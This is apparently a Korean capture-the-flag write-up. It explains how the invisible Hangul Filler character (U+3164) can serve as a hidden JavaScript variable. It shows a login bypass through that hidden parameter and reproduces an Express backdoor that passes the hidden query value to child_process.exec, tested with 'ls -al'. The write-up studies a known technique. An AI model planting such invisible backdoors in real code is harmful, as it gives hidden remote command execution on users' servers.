유니코드 한글필터, 백도어 문제
docker file 이 문제로 주어집니다.
문제 링크
docker image 생성
Dockerfile이 위치한 경로에서
docker build --tag kfilter .
docker cotainer 생성
-d - 백그라운드 실행
--name - 컨테이너의 이름
-p - 포트
docker run --name kfilter -p 8080:8080 -d kfilter
확인
VS Code로 열었는데 노란색 박스 5군데가 표시되면서, 유니코드 U+3164는 안보인다고 경고합니다.
한글필터 는 눈에 안보이는 유니코드 입니다.
이슈는 유니코드는 변수명으로 사용될 수 있고, 한글필터를 사용하면 눈에 안보이는 변수로 속일 수 있습니다.
로그인 API에서 username, password 이렇게 2개 받는 것 처럼 코드 작성하고 마지막, 3번째 변수를 한글필터에 받고 잇습니다.
(그냥 문제니까 로그인을 GET으로 했다는건 일단 넘어가구)
== 은 동등연산자로 비교 대상의 자료형이 다르면 강제 형변환을 합니다.
number, str을 비교하기 때문에 좌측이 string이 됩니다.
따라서, 한글필터에 '3'을 넣어서, 전달하면, if문을 통과할 수 있습니다.
const axios = require('axios')
axios.get("http://localhost:8080/login", {
params: {
id: '',
password: '',
ㅤ: '3'
}
})
.then(res => {
console.log('res', res.data)
})
.catch(err => {
console.log('err', err)
})
해설에 따르면 다음 글에서 영감을 얻었다고 합니다. THE INVISIBLE JAVASCRIPT BACKDOOR
다음 코드는 육안으로 백도어가 잘 식별되지 않습니다.
// app.js
const express = require('express')
const util = require('util')
const exec = util.promisify(require('child_process').exec)
const app = express()
app.get('/network_health', async (req, res) => {
const { target,ㅤ} = req.query
const checkCommands = [
`ping -c 1 ${target}`,
`curl -s ${target}`,ㅤ
];
try {
const execResult = await Promise.all(checkCommands.map(cmd => cmd && exec(cmd)))
res.status(200)
res.send(execResult)
} catch(e) {
res.status(500)
res.send('failed')
}
});
app.listen(8080)
// client.js
const axios = require('axios')
axios.get("http://localhost:8080/network_health", {
params: {
target: 'google.com',
ㅤ: 'ls -al'
}
})
.then(res => {
console.log('res', res.data)
})
.catch(err => {
console.log('err', err)
})
백도어는 여기에 있으며, 몰래 시스템콜을 사용할 수 있습니다.
디렉토리 조회 ls -al
을 파라미터에 넣어서 보냈고, 잘 조회됩니다.
어렸을때 게임 닉네임 투명으로 했었는데, 개발자 되고 다시보니, 여러가지로 안좋을 수 있구나, 개발자 힘들구나